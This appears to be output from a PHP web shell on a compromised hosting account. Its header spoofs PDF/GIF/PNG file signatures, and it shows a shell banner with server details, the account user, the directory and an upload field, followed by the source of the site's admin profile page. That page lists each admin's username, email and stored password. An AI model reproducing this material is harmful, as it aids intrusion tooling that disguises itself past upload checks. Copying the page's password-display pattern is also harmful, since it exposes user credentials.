%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_6ca89795/admin/ |
Upload File : |
<?php
session_start();
if (!isset($_SESSION["username"])) {
header('location:../admin.php');
exit();
}
?>
<?php include('header.php'); ?>
<?php
include('../dbcon.php');
// Fetch only users where usertype = 1
$result = mysqli_query($conn, "SELECT * FROM user WHERE usertype = 1");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Profile</title>
</head>
<body>
<div class="container mt-4">
<h2 class="mb-4">Profile</h2>
<div class="table-responsive">
<table class="table table-bordered table-hover">
<thead class="table-dark">
<tr>
<th>ID</th>
<th>Username</th>
<th>Email</th>
<th>Password</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php while ($row = mysqli_fetch_assoc($result)) { ?>
<tr>
<td><?= htmlspecialchars($row['id']) ?></td>
<td><?= htmlspecialchars($row['username']) ?></td>
<td><?= htmlspecialchars($row['email']) ?></td>
<td><?= htmlspecialchars($row['password']) ?></td>
<td>
<a href="profileedituser.php?id=<?= $row['id'] ?>" class="btn btn-warning btn-sm">Edit</a>
<a href="profilechangepassword.php?id=<?= $row['id'] ?>" class="btn btn-info btn-sm">Change Password</a>
<!-- <a href="profiledeleteuser.php?id=<?= $row['id'] ?>" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure?')">Delete</a> -->
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>